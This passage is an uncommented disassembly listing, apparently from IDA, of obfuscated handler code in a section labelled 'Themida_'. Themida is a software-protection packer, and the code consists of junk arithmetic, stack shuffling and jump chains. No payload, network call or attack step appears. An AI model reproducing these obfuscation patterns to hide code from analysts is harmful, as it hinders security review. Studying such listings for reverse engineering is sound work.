XREF: Themida_:0056F426j push dword ptr [esp+4] pop ebx jmp loc_56526A ; --------------------------------------------------------------------------- loc_565257: ; CODE XREF: Themida_:0055D875j shr edi, 1 shr edi, 8 add edi, 0CEEDE517h sub ecx, edi pop edi jmp loc_56B8C5 ; --------------------------------------------------------------------------- loc_56526A: ; CODE XREF: Themida_:00565252j pop dword ptr [esp] mov esp, [esp] movzx ecx, ax push 22F3h mov [esp], ecx jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_565280: ; CODE XREF: Themida_:00560B25j xchg edi, [esp] pop esp jmp loc_560FA7 ; --------------------------------------------------------------------------- loc_565289: ; CODE XREF: Themida_:00571C4Fj push edi mov edi, 76334CF2h sub eax, edi jmp loc_5669DC ; --------------------------------------------------------------------------- loc_565296: ; CODE XREF: Themida_:0055D627j dec word ptr [esp] pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5652A0: ; CODE XREF: Themida_:0055DDC7j sub esp, 4 mov [esp], edx jmp loc_55E967 ; --------------------------------------------------------------------------- loc_5652AE: ; CODE XREF: Themida_:00571DC4j mov eax, 695343A2h mov ebp, eax pop eax jmp loc_5642AF ; --------------------------------------------------------------------------- loc_5652BB: ; CODE XREF: Themida_:0055FAC5j mov [esp], ebx sub esp, 4 mov [esp], eax mov eax, 7F696B02h jmp loc_56851D ; --------------------------------------------------------------------------- loc_5652D1: ; CODE XREF: Themida_:0056C494j xor dl, ah jmp loc_562E83 ; --------------------------------------------------------------------------- loc_5652D8: ; CODE XREF: Themida_:0055E7FCj mov ebp, esp push 42C4h jmp loc_56D50F ; --------------------------------------------------------------------------- loc_5652E4: ; CODE XREF: Themida_:00570CDFj pop esp sub esp, 4 mov [esp], edi push ebp push 39DA4785h mov ebp, [esp] push 1178h mov [esp], edx mov edx, esp push esi mov esi, 76A3CF4h and esi, 1AD1D6Ah or esi, 184D1D87h shr esi, 2 add esi, 7882351Ch neg esi sub esi, 81228367h add edx, esi pop esi push edi mov edi, 43FC51AFh dec edi sub edi, 0FFFFFFFFh sub edi, 43FC51ABh add edx, edi jmp loc_56DDC6 ; --------------------------------------------------------------------------- loc_56533B: ; CODE XREF: Themida_:005726C7j add ecx, 4 jmp loc_55DAA4 ; --------------------------------------------------------------------------- loc_565346: ; CODE XREF: Themida_:00566C18j pop dword ptr [esp] mov esp, [esp] mov fs:[edx], al jmp loc_566B26 ; --------------------------------------------------------------------------- loc_565354: ; CODE XREF: Themida_:005622C3j push ecx mov ecx, 0 add ecx, ebx add dword ptr [ecx], 1 pop ecx push dword ptr [esp] pop ebx jmp loc_567AC9 ; --------------------------------------------------------------------------- loc_56536C: ; CODE XREF: Themida_:00563ABDj and eax, edx mov edx, [esp] push 7D50h mov [esp], ecx push esp pop ecx push edi mov edi, 4 add ecx, edi mov edi, [esp] add esp, 4 jmp loc_56AF37 ; --------------------------------------------------------------------------- loc_56538E: ; CODE XREF: Themida_:0055D893j mov esp, [esp] mov [esp], esi mov esi, esp push 3109h mov [esp], ebp push ebx push 478430CBh jmp loc_5725B8 ; --------------------------------------------------------------------------- loc_5653A9: ; CODE XREF: Themida_:0056F5C9j mov [esp], edi mov edi, 4 jmp loc_56075F ; --------------------------------------------------------------------------- loc_5653B6: ; CODE XREF: Themida_:0056023Cj add edx, 4F305229h and edx, 7F025C33h shr edx, 5 xor edx, 2B650513h xor edx, 38B835C4h push eax mov eax, 0EC0ACDEEh add edx, eax pop eax mov esi, edx pop edx add ebx, 699819F0h add ebx, esi jmp loc_56B16D ; --------------------------------------------------------------------------- loc_5653EA: ; CODE XREF: Themida_:0055ECF9j add esp, 4 push edi mov edi, 6CF15099h shl edi, 7 neg edi shr edi, 8 inc edi push esi mov esi, 0E20AFFC8h jmp loc_561A40 ; --------------------------------------------------------------------------- loc_565407: ; CODE XREF: Themida_:0056141Ej xor [esp], esi xor esi, [esp] pop esp mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] div cx push small 3263h mov [esp], dx push ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56542F: ; CODE XREF: Themida_:00560525j mov edi, 57296A13h jmp loc_56D90D ; --------------------------------------------------------------------------- loc_565439: ; CODE XREF: Themida_:00560C52j dec dl sub dl, 11h add bh, dl jmp loc_563FB3 ; --------------------------------------------------------------------------- loc_565445: ; CODE XREF: Themida_:005610ADj mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 push 4195h mov [esp], esi mov esi, 5CDC4A72h jmp loc_55D6F7 ; --------------------------------------------------------------------------- loc_565463: ; CODE XREF: Themida_:005631FEj sub ebp, 5B7254BEh add ebp, ecx add ebp, 5B7254BEh jmp loc_56D66F ; --------------------------------------------------------------------------- loc_565476: ; CODE XREF: Themida_:0056CA7Dj pop edi sub ecx, esi jmp loc_56D8ED ; --------------------------------------------------------------------------- loc_56547E: ; CODE XREF: Themida_:005651DEj mov edx, [esp] jmp loc_55D3B1 ; --------------------------------------------------------------------------- loc_565486: ; CODE XREF: Themida_:0055F88Ej xor eax, edi pop edi mov esi, eax pop eax sub ecx, esi pop esi xor eax, ecx pop ecx push edi push edx push 7EB87E6Ah pop edx jmp loc_56D662 ; --------------------------------------------------------------------------- loc_56549F: ; CODE XREF: Themida_:00572B03j sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], ebx push eax push 5FBCh mov [esp], esi jmp loc_56D2ED ; --------------------------------------------------------------------------- loc_5654BF: ; CODE XREF: Themida_:00561770j pop edx jmp loc_55F6B5 ; --------------------------------------------------------------------------- loc_5654C5: ; CODE XREF: Themida_:00570EE7j and ebp, ecx jmp loc_56391B ; --------------------------------------------------------------------------- loc_5654CC: ; CODE XREF: Themida_:00564C3Dj push ebp mov ebp, 64F12ECh xor ebp, 76DB270Eh shr ebp, 2 xor ebp, 1FE1660h sub edx, ebp pop ebp or edx, 36A554C6h push esi mov esi, 24C932EBh dec esi jmp loc_56E2D8 ; --------------------------------------------------------------------------- loc_5654F6: ; CODE XREF: Themida_:0056A51Bj add edx, edi sub edx, 5652542Bh jmp loc_56A0DB ; --------------------------------------------------------------------------- loc_565503: ; CODE XREF: Themida_:0056CAD5j mov dl, al mov al, [esp+2] jmp loc_565EA8 ; --------------------------------------------------------------------------- loc_56550E: ; CODE XREF: Themida_:0056688Fj add bh, cl pop ecx push eax jmp loc_56DAF4 ; --------------------------------------------------------------------------- loc_565517: ; CODE XREF: Themida_:005607F5j sub esp, 4 mov [esp], esi mov esi, 35696A54h push 3BF4h jmp loc_56489D ; --------------------------------------------------------------------------- loc_56552C: ; CODE XREF: Themida_:0056C574j add esp, 4 xchg ebx, [esp] pop esp jmp loc_562539 ; --------------------------------------------------------------------------- loc_56553B: ; CODE XREF: Themida_:0056C8D2j add esp, 4 shl eax, cl push 4B9h mov [esp], ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 jmp loc_56E9BA ; --------------------------------------------------------------------------- loc_565560: ; CODE XREF: Themida_:0056047Cj mov esi, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_56AB36 ; --------------------------------------------------------------------------- loc_565579: ; CODE XREF: Themida_:0056571Bj push edx jmp loc_55D70B ; --------------------------------------------------------------------------- loc_56557F: ; CODE XREF: Themida_:00569B95j add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push 4566h mov [esp], edi push 4606h mov [esp], esp push edx mov edx, 4 add [esp+4], edx pop edx jmp loc_562794 ; --------------------------------------------------------------------------- loc_5655AF: ; CODE XREF: Themida_:00570089j sub esi, 2C1B4222h jmp loc_55EE49 ; --------------------------------------------------------------------------- loc_5655BA: ; CODE XREF: Themida_:00562348j add ebx, ebp pop ebp jmp loc_56C5FC ; --------------------------------------------------------------------------- loc_5655C2: ; CODE XREF: Themida_:00568D12j mov [esp], eax jmp loc_563FD0 ; --------------------------------------------------------------------------- loc_5655CA: ; CODE XREF: Themida_:00563832j add bl, dl pop edx add al, 7Ch jmp loc_56D0B2 ; --------------------------------------------------------------------------- push small 4FF7h push small 761h push sp jmp loc_55EBB0 ; --------------------------------------------------------------------------- mov ax, [esp] push eax mov eax, esp add eax, 4 jmp loc_561C35 ; --------------------------------------------------------------------------- loc_5655F4: ; CODE XREF: Themida_:0056B97Cj add ebp, ebx pop ebx jmp loc_565E2D ; --------------------------------------------------------------------------- loc_5655FC: ; CODE XREF: Themida_:00565F93j sub esp, 4 mov [esp], edx jmp loc_570903 ; --------------------------------------------------------------------------- loc_565607: ; CODE XREF: Themida_:0055D80Bj add ecx, ebx jmp loc_56ECFD ; --------------------------------------------------------------------------- loc_56560E: ; CODE XREF: Themida_:0056284Dj sub ebp, edx jmp loc_572633 ; --------------------------------------------------------------------------- xor [esp], cx xor cx, [esp] jmp loc_5633B7 ; --------------------------------------------------------------------------- loc_565622: ; CODE XREF: Themida_:0056332Dj mov edi, [esp] add esp, 4 sub edi, eax pop eax jmp loc_56DE69 ; --------------------------------------------------------------------------- loc_565630: ; CODE XREF: Themida_:0056339Cj push edx jmp loc_570B08 ; --------------------------------------------------------------------------- loc_565636: ; CODE XREF: Themida_:0056FBAEj mov ebp, edi mov ebx, ebp pop ebp pop edi xor ebx, ecx pop ecx inc ebx shl ebx, 7 add ebx, 3441DB04h sub eax, ebx jmp loc_56C789 ; --------------------------------------------------------------------------- loc_565650: ; CODE XREF: Themida_:0056E7E7j xor dx, 5D49h push edi jmp loc_568AED ; --------------------------------------------------------------------------- loc_56565B: ; CODE XREF: Themida_:00566613j sub ebx, edx add ebx, 54AC636Eh jmp loc_571E9E ; --------------------------------------------------------------------------- loc_565668: ; CODE XREF: Themida_:00563A89j not eax shl eax, 2 add eax, 0AEE3F6Fh add eax, 0AEFE4F1Fh jmp loc_5623DC ; --------------------------------------------------------------------------- loc_56567C: ; CODE XREF: Themida_:005649D9j mov ebx, 6B060F5h dec ebx or ebx, 5B3223F5h xor ebx, 6E1C4163h sub ecx, 693C4F11h add ecx, 4790726Dh add ecx, ebx sub ecx, 4790726Dh add ecx, 693C4F11h pop ebx and ecx, 75AE34FCh jmp loc_567FBA ; --------------------------------------------------------------------------- loc_5656B4: ; CODE XREF: Themida_:0056DC1Dj mov esp, [esp] mov [esp], ax jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5656C0: ; CODE XREF: Themida_:0055F300j sub edx, ecx jmp loc_56FB77 ; --------------------------------------------------------------------------- loc_5656C7: ; CODE XREF: Themida_:00569D96j mov ebp, 326849F2h push edx mov edx, 14B8388Eh jmp loc_56040E ; --------------------------------------------------------------------------- loc_5656D7: ; CODE XREF: Themida_:0056021Fj shr eax, 5 add eax, 30C70E70h jmp loc_56BD18 ; --------------------------------------------------------------------------- loc_5656E4: ; CODE XREF: Themida_:005670C3j xor [esp], ebx xor ebx, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_565D62 ; --------------------------------------------------------------------------- loc_5656FA: ; CODE XREF: Themida_:005607C9j xor ebp, 103999h and eax, ebp push dword ptr [esp] jmp loc_56CDA9 ; --------------------------------------------------------------------------- loc_56570A: ; CODE XREF: Themida_:0056B101j mov [esp], ebp mov ebp, 2 push edx push 658Bh mov [esp], edi jmp loc_565579 ; --------------------------------------------------------------------------- loc_565720: ; CODE XREF: Themida_:005688DFj shl ebp, 1 not ebp jmp loc_560F0B ; --------------------------------------------------------------------------- loc_565729: ; CODE XREF: Themida_:0056B77Bj pop eax sub eax, esi mov esi, [esp] add esp, 4 sub eax, 16411ECh jmp loc_561172 ; --------------------------------------------------------------------------- loc_56573C: ; CODE XREF: Themida_:00564AD2j mov eax, [esp] add esp, 4 xchg edx, [esp] pop esp pop dword ptr [eax] xor dword ptr [eax], 74767612h jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_565753: ; CODE XREF: Themida_:00562E8Cj xor al, 0Dh sub bl, al pop eax push 3CA9h mov [esp], eax mov ah, 2Ah sub ah, 0A9h sub bl, ah pop eax sub bl, cl add bl, 81h add bl, 0F6h push dword ptr [esp] jmp loc_55FDB1 ; --------------------------------------------------------------------------- loc_565778: ; CODE XREF: Themida_:005625DCj pop ecx xchg ebp, [esp] pop esp jmp loc_56E05D ; --------------------------------------------------------------------------- loc_565782: ; CODE XREF: Themida_:00563A4Cj or edi, eax mov eax, [esp] add esp, 4 push 7E02h mov [esp], edx mov edx, 7AF36A8Fh add edx, 0FA000C50h jmp loc_56F22C ; --------------------------------------------------------------------------- loc_5657A2: ; CODE XREF: Themida_:00562044j push dword ptr [esp] pop ebp add esp, 4 push ebx mov ebx, 2A163319h or ebx, 60F445EFh shr ebx, 8 sub ebx, 16FA1700h xor ebx, 168F2088h add eax, ebx pop ebx add eax, 0F8013E21h sub esi, eax jmp loc_568627 ; --------------------------------------------------------------------------- loc_5657D3: ; CODE XREF: Themida_:0055D399j mov [esp], ecx mov cl, 0C8h shl cl, 1 sub cl, 0FFh push edx mov dh, 0E8h or dh, 0F2h sub dh, 8Ch shl dh, 1 xor dh, 41h sub cl, dh jmp loc_56D63B ; --------------------------------------------------------------------------- loc_5657F2: ; CODE XREF: Themida_:00560C43j pop edi jmp loc_56E430 ; --------------------------------------------------------------------------- loc_5657F8: ; CODE XREF: Themida_:0056D11Cj mov esp, [esp] push dword ptr [esp] mov ebx, [esp] jmp loc_56589C ; --------------------------------------------------------------------------- loc_565806: ; CODE XREF: Themida_:005621BEj shr ebp, 2 sub ebp, 5FA655F6h xor ebp, 0D42D8E07h jmp loc_56470D ; --------------------------------------------------------------------------- loc_56581A: ; CODE XREF: Themida_:0056A1B8j mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_55F77C ; --------------------------------------------------------------------------- loc_565834: ; CODE XREF: Themida_:00565B78j pop ebx pop dword ptr [esp] push 42F2h mov [esp], ecx mov ecx, 4 add dword ptr [esp+4], 6C2C615Ah add dword ptr [esp+4], 5EAF1E89h add [esp+4], ecx jmp loc_56A474 ; --------------------------------------------------------------------------- loc_56585E: ; CODE XREF: Themida_:0055EB17j xor eax, 613D46A3h shl eax, 1 add eax, 75AC7D73h inc eax dec eax push esi mov esi, 2FE70D81h neg esi not esi not esi xor esi, 3CD82CB4h xor eax, esi pop esi add edi, eax push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55DF0D ; --------------------------------------------------------------------------- loc_56589C: ; CODE XREF: Themida_:00565801j add esp, 4 jmp loc_55F709 ; --------------------------------------------------------------------------- loc_5658A7: ; CODE XREF: Themida_:00565CC8j add esp, 4 push ebx push eax mov eax, 6BB91089h mov ebx, 1CC66EE6h jmp loc_56119C ; --------------------------------------------------------------------------- loc_5658BB: ; CODE XREF: Themida_:0056DA8Fj add edi, eax pop eax xchg edi, [esp] mov esp, [esp] sub bl, al push ecx mov cl, 7Ch add bl, cl pop ecx sub bl, 0E5h movzx eax, al push small 2135h mov [esp], ax jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5658DF: ; CODE XREF: Themida_:0056C011j shl eax, 5 or eax, 5B592931h jmp loc_56C09E ; --------------------------------------------------------------------------- loc_5658EC: ; CODE XREF: Themida_:00564708j add esp, 4 push edx mov edx, esp push edi mov edi, 4 jmp loc_56B46E ; --------------------------------------------------------------------------- loc_5658FD: ; CODE XREF: Themida_:0056FAADj sub ch, bh push dword ptr [esp] pop ebx add esp, 4 sub ch, 91h and ch, 0A2h or ch, 64h neg ch sub ch, 60h xor bh, ch jmp loc_56AFF2 ; --------------------------------------------------------------------------- loc_56591E: ; CODE XREF: Themida_:0056E089j sub edx, 769D3BC6h xor edx, 0C5E7F170h xor edi, edx pop edx push ecx mov ecx, 127A2680h push edx mov edx, 71873EE2h and edx, 6D37A03h neg edx inc edx inc edx add edx, 4B8D62DFh and ecx, edx pop edx not ecx shr ecx, 8 neg ecx jmp loc_5681FD ; --------------------------------------------------------------------------- loc_565958: ; CODE XREF: Themida_:0056A902j mov esi, 68DF1E64h add esi, 53461751h sub esi, 510051A5h neg esi sub esi, 5DF9EF3Eh add edx, 2E34457h sub edx, esi jmp loc_5712D6 ; --------------------------------------------------------------------------- loc_56597E: ; CODE XREF: Themida_:005685E4j mov dx, [esp] push 3F4Ah jmp loc_5611C9 ; --------------------------------------------------------------------------- loc_56598C: ; CODE XREF: Themida_:00560370j mov edx, ebp sub esp, 4 jmp loc_5620F5 ; --------------------------------------------------------------------------- loc_565996: ; CODE XREF: Themida_:0056E3D7j mov edi, 0DA44F2Eh neg edi sub edi, 3C110531h neg edi or edi, 15033B8Fh add edi, 113C9424h push eax jmp loc_564CCF ; --------------------------------------------------------------------------- loc_5659B7: ; CODE XREF: Themida_:0056E4E4j not edx shl edx, 8 jmp loc_569FE9 ; --------------------------------------------------------------------------- loc_5659C1: ; CODE XREF: Themida_:00564BF5j mov dh, 0B6h mov ah, dh jmp loc_5674F1 ; --------------------------------------------------------------------------- loc_5659CA: ; CODE XREF: Themida_:0055E018j mov bh, 0E9h push 0C99h mov [esp], ecx jmp loc_56E53E ; --------------------------------------------------------------------------- loc_5659D9: ; CODE XREF: Themida_:00567FECj pop eax xor ebp, eax jmp loc_55F02B ; --------------------------------------------------------------------------- loc_5659E1: ; CODE XREF: Themida_:0055DF90j or esi, 1FA57953h and esi, 48D1595Dh or esi, 57BC48BBh jmp loc_56209D ; --------------------------------------------------------------------------- loc_5659F8: ; CODE XREF: Themida_:00561807j add esp, 4 jmp loc_56F3FE ; --------------------------------------------------------------------------- loc_565A00: ; CODE XREF: Themida_:0057252Cj mov [esp], cx push eax mov ah, 0EDh add ah, 38h mov cl, ah jmp loc_569B09 ; --------------------------------------------------------------------------- loc_565A11: ; CODE XREF: Themida_:0056465Ej not dword ptr [esp] pop ebp add ebp, 74971B96h jmp loc_56F6AF ; --------------------------------------------------------------------------- loc_565A20: ; CODE XREF: Themida_:00571CA2j mov ebp, 4F8264AFh xor ebp, 1AC33FAAh mov eax, ebp pop ebp sub ebx, eax pop eax mov ebp, [esp] add esp, 4 add [esp+4], ebx mov ebx, [esp] add esp, 4 mov ebp, [esp] add esp, 4 jmp loc_56315F ; --------------------------------------------------------------------------- loc_565A55: ; CODE XREF: Themida_:00569CBEj add al, bl jmp loc_5633A1 ; --------------------------------------------------------------------------- loc_565A5C: ; CODE XREF: Themida_:0055F3D2j pop edx sub esi, 25684423h push edi jmp loc_57143C ; --------------------------------------------------------------------------- loc_565A69: ; CODE XREF: Themida_:005664E3j pop eax jmp loc_55E16B ; --------------------------------------------------------------------------- loc_565A6F: ; CODE XREF: Themida_:0056103Ej mov edi, [esp] jmp loc_5637CA ; --------------------------------------------------------------------------- loc_565A77: ; CODE XREF: Themida_:00567571j push eax push 4 jmp loc_56378F ; --------------------------------------------------------------------------- loc_565A82: ; CODE XREF: Themida_:0056A079j push esi jmp loc_5641FA ; --------------------------------------------------------------------------- loc_565A88: ; CODE XREF: Themida_:005718DBj add edx, 29B64EA5h sub edx, 52F33B1Bh jmp loc_56CF52 ; --------------------------------------------------------------------------- loc_565A99: ; CODE XREF: Themida_:00560CE2j xchg ecx, [esp] pop esp mov [esp], edx mov dl, 10h sub esp, 4 jmp loc_55F945 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 27C3h jmp loc_55DC03 ; --------------------------------------------------------------------------- loc_565ABB: ; CODE XREF: Themida_:00569C39j sub ecx, 4 xchg ecx, [esp] jmp loc_56FA4A ; --------------------------------------------------------------------------- loc_565AC9: ; CODE XREF: Themida_:00571730j not edi jmp loc_5669B7 ; --------------------------------------------------------------------------- loc_565AD0: ; CODE XREF: Themida_:00562EE1j inc ebx xor ebx, 353C9604h sub esi, ebx pop ebx xor esi, 3AF8EFD2h jmp loc_5603BB ; --------------------------------------------------------------------------- loc_565AE5: ; CODE XREF: Themida_:00562BF2j mov edi, [esp] add esp, 4 not edi or edi, 3EFC33FBh inc edi xor edi, 9F20C1E3h mov eax, edi pop edi xor eax, ecx mov ecx, [esp] add esp, 4 and ebx, eax pop eax add ebx, 21442E22h push edi mov edi, 6F2C1A10h sub ebx, edi jmp loc_5722BB ; --------------------------------------------------------------------------- loc_565B1B: ; CODE XREF: Themida_:0056D0FEj mov esp, [esp] jmp loc_563E05 ; --------------------------------------------------------------------------- loc_565B23: ; CODE XREF: Themida_:0055EC94j shr esi, 1 push 4E0h mov [esp], ecx mov ecx, esp push ebx mov ebx, 3DF82C57h dec ebx add ebx, 0C207D3AEh sub ecx, 62CF7720h add ecx, ebx add ecx, 62CF7720h mov ebx, [esp] add esp, 4 sub ecx, 4 jmp loc_560794 ; --------------------------------------------------------------------------- loc_565B5B: ; CODE XREF: Themida_:00568DB7j sub esp, 4 mov [esp], ecx jmp loc_572628 ; --------------------------------------------------------------------------- loc_565B66: ; CODE XREF: Themida_:00566E3Cj push 0D86h mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx jmp loc_565834 ; --------------------------------------------------------------------------- loc_565B7D: ; CODE XREF: Themida_:00569DD6j sub ah, 0Dh push edx jmp loc_5618F8 ; --------------------------------------------------------------------------- loc_565B86: ; CODE XREF: Themida_:00563DBEj mov eax, [esp] add esp, 4 sub edi, 0F226DBEEh sub ebx, edi mov edi, [esp] add esp, 4 sub ebx, 25A56ABBh sub ebx, 782308A3h add ebx, edi add ebx, 782308A3h add ebx, 25A56ABBh jmp loc_55EB65 ; --------------------------------------------------------------------------- loc_565BBC: ; CODE XREF: Themida_:00566EE5j push ebp mov ebp, 6AAC1F83h or edi, ebp pop ebp shr edi, 1 sub edi, 79761449h push esi push ebx mov ebx, 5A42C89h jmp loc_56EA70 ; --------------------------------------------------------------------------- loc_565BD9: ; CODE XREF: Themida_:0055E904j shr word ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_565BE3: ; CODE XREF: Themida_:00566DF9j mov bl, [esp+4] mov [esp+4], cl jmp loc_55F952 ; --------------------------------------------------------------------------- loc_565BF0: ; CODE XREF: Themida_:00562779j add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], ecx mov ecx, 7C9113DFh sub edx, ecx pop ecx add edx, eax push ebx push edi mov edi, 295D2951h sub edi, 0BB3C8Ch inc edi dec edi sub edi, 365751Ah mov ebx, edi pop edi jmp loc_571D80 ; --------------------------------------------------------------------------- loc_565C2D: ; CODE XREF: Themida_:0056A5B4j sub edi, 17E822F9h add edi, 248F47E2h add edi, ebx jmp loc_56E6DD ; --------------------------------------------------------------------------- loc_565C40: ; CODE XREF: Themida_:00563803j add eax, 9E5D1689h sub ebx, 314C5C30h jmp loc_56E9FD ; --------------------------------------------------------------------------- loc_565C50: ; CODE XREF: Themida_:0056DD27j sub eax, 433B660Eh add eax, ebp push ebp mov ebp, 6BB10788h sub ebp, 0B505938h shr ebp, 3 jmp loc_5674BD ; --------------------------------------------------------------------------- loc_565C6B: ; CODE XREF: Themida_:00571463j mov esi, 2231278Dh not esi sub esi, 4CED15E1h sub esi, 0FFFFFFFFh push ebp mov ebp, 24D70E2Dh xchg eax, ebp not eax xchg eax, ebp sub ebp, 6DA94F91h jmp loc_570F0A ; --------------------------------------------------------------------------- loc_565C90: ; CODE XREF: Themida_:0056CE1Aj xor ah, 43h xor ah, 0B1h add bl, ah pop eax jmp loc_56A806 ; --------------------------------------------------------------------------- loc_565C9E: ; CODE XREF: Themida_:0057113Aj mov [esp], ebx mov bl, 46h push edx jmp loc_56AC04 ; --------------------------------------------------------------------------- loc_565CA9: ; CODE XREF: Themida_:00570FB1j push 4469h mov [esp], eax push 330E31D8h pop eax dec eax sub eax, 0F3BE2300h mov edi, eax pop eax jmp loc_56F988 ; --------------------------------------------------------------------------- loc_565CC5: ; CODE XREF: Themida_:0056FC92j mov ebp, [esp] jmp loc_5658A7 ; --------------------------------------------------------------------------- loc_565CCD: ; CODE XREF: Themida_:00561AEAj add edx, 4 jmp loc_567623 ; --------------------------------------------------------------------------- loc_565CD8: ; CODE XREF: Themida_:0055EDCBj mov ebp, ebx pop ebx add eax, ebp pop ebp jmp loc_5682E3 ; --------------------------------------------------------------------------- loc_565CE3: ; CODE XREF: Themida_:0056B40Aj push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push edx mov edx, 4B46379Eh dec edx sub edx, 50650C91h shl edx, 2 add edx, 6C17432Fh and edx, 5E0B1E3Fh add edx, 0C733F47Eh jmp loc_569853 ; --------------------------------------------------------------------------- loc_565D14: ; CODE XREF: Themida_:0057218Fj pop eax mov ecx, [esp] add esp, 4 jmp loc_55F5DF ; --------------------------------------------------------------------------- loc_565D23: ; CODE XREF: Themida_:0055F169j pop esp mov bp, [esp] add esp, 2 sub esp, 2 mov [esp], bp jmp loc_564CDE ; --------------------------------------------------------------------------- loc_565D3A: ; CODE XREF: Themida_:00561360j mov [esp], ebp push 4F53F2C5h mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor eax, ebp push dword ptr [esp] mov ebp, [esp] jmp loc_55E223 ; --------------------------------------------------------------------------- loc_565D62: ; CODE XREF: Themida_:005656F5j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_565D74: ; CODE XREF: Themida_:0056F4A0j pop edi add edi, 3E9A0A32h add edi, edx sub edi, 3E9A0A32h pop edx sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ecx push edi push ebx mov ebx, 34A60310h mov edi, 0D8E4034Ch jmp loc_5614BC ; --------------------------------------------------------------------------- loc_565DA1: ; CODE XREF: Themida_:00563C47j push 0 sub [esp], ch mov ch, [esp] add esp, 4 push edx mov dh, 28h xor ch, dh pop edx jmp loc_55E5D2 ; --------------------------------------------------------------------------- loc_565DBA: ; CODE XREF: Themida_:00568128j push dword ptr [esp] pop ebp jmp loc_569D4B ; --------------------------------------------------------------------------- loc_565DC3: ; CODE XREF: Themida_:00567C55j mov ebp, [esp] add esp, 4 sub ebx, eax push ecx push ebx jmp loc_55F48C ; --------------------------------------------------------------------------- loc_565DD2: ; CODE XREF: Themida_:0056C1DBj xchg eax, ebp not eax push eax dec dword ptr [esp] pop eax not eax push edi mov edi, 0C2C70F0Bh sub eax, edi jmp loc_56B6B9 ; --------------------------------------------------------------------------- loc_565DE9: ; CODE XREF: Themida_:0057251Ej or ecx, 752E0613h not ecx shl ecx, 7 or ecx, 2337639Eh xor ecx, 0F5CCC2Dh add eax, ecx pop ecx jmp loc_55E889 ; --------------------------------------------------------------------------- loc_565E08: ; CODE XREF: Themida_:00571B52j pop ecx jmp loc_560D34 ; --------------------------------------------------------------------------- loc_565E0E: ; CODE XREF: Themida_:0056BA6Fj push ebp mov ebp, 50704561h jmp loc_55DB22 ; --------------------------------------------------------------------------- loc_565E19: ; CODE XREF: Themida_:0056CB8Aj mov ecx, 276F0CBDh xor ecx, 75D75A64h not ecx xchg ebp, ecx jmp loc_567A5F ; --------------------------------------------------------------------------- loc_565E2D: ; CODE XREF: Themida_:005655F7j add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebp mov ebp, 29037A35h add ebp, 0D6FC85CFh sub eax, 3B9A50E4h add eax, ebp jmp loc_56ADC9 ; --------------------------------------------------------------------------- loc_565E4E: ; CODE XREF: Themida_:005725B3j sub ah, 2Fh sub bl, ah jmp loc_5636CE ; --------------------------------------------------------------------------- lodsd add eax, 20D454B6h add eax, 363849C0h jmp loc_571735 ; --------------------------------------------------------------------------- loc_565E68: ; CODE XREF: Themida_:005706D5j sub al, bl push ecx mov cl, 0ECh jmp loc_5632E2 ; --------------------------------------------------------------------------- loc_565E72: ; CODE XREF: Themida_:0056953Ej pop ebx pop ecx mov cl, dh pop edx jmp loc_5662C1 ; --------------------------------------------------------------------------- loc_565E7C: ; CODE XREF: Themida_:0057259Dj add [esp+4], eax add dword ptr [esp+4], 222D189Fh push dword ptr [esp] pop eax add esp, 4 pop ebx sub ebx, 9B1183Eh jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_565E9B: ; CODE XREF: Themida_:0055DAEDj mov ebp, 6AF30018h and esi, ebp pop ebp jmp loc_561830 ; --------------------------------------------------------------------------- loc_565EA8: ; CODE XREF: Themida_:00565509j mov [esp+2], dl pop dx not al jmp loc_55E7D0 ; --------------------------------------------------------------------------- loc_565EB5: ; CODE XREF: Themida_:0056C2C7j push dword ptr [esp] pop ebp add esp, 4 pop ebp add ebp, 4 add ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_560A7F ; --------------------------------------------------------------------------- loc_565EE1: ; CODE XREF: Themida_:00564CFEj dec ebx push edi mov edi, 0FFFFFFFFh add ebx, 6F681F11h add ebx, edi jmp loc_566CCC ; --------------------------------------------------------------------------- loc_565EF5: ; CODE XREF: Themida_:0056C169j xor esi, ebx pop ebx xchg ecx, esi push ebx jmp loc_55D84C ; --------------------------------------------------------------------------- loc_565F00: ; CODE XREF: Themida_:0055E7E2j pop edi push eax mov eax, 1273478Bh add eax, 0ED8CB879h sub ebx, 38926E2Ch add ebx, eax jmp loc_56F419 ; --------------------------------------------------------------------------- loc_565F19: ; CODE XREF: Themida_:005623DFj sub ebx, ebp jmp loc_56645B ; --------------------------------------------------------------------------- loc_565F20: ; CODE XREF: Themida_:0055EBEAj add bx, 62A4h jmp loc_56A6CF ; --------------------------------------------------------------------------- loc_565F2A: ; CODE XREF: Themida_:0056B7D7j mov [esp], edx push dword ptr [esp+4] jmp loc_571B12 ; --------------------------------------------------------------------------- loc_565F36: ; CODE XREF: Themida_:0056A21Fj pop ebx add edi, 0FDF07235h sub ebx, 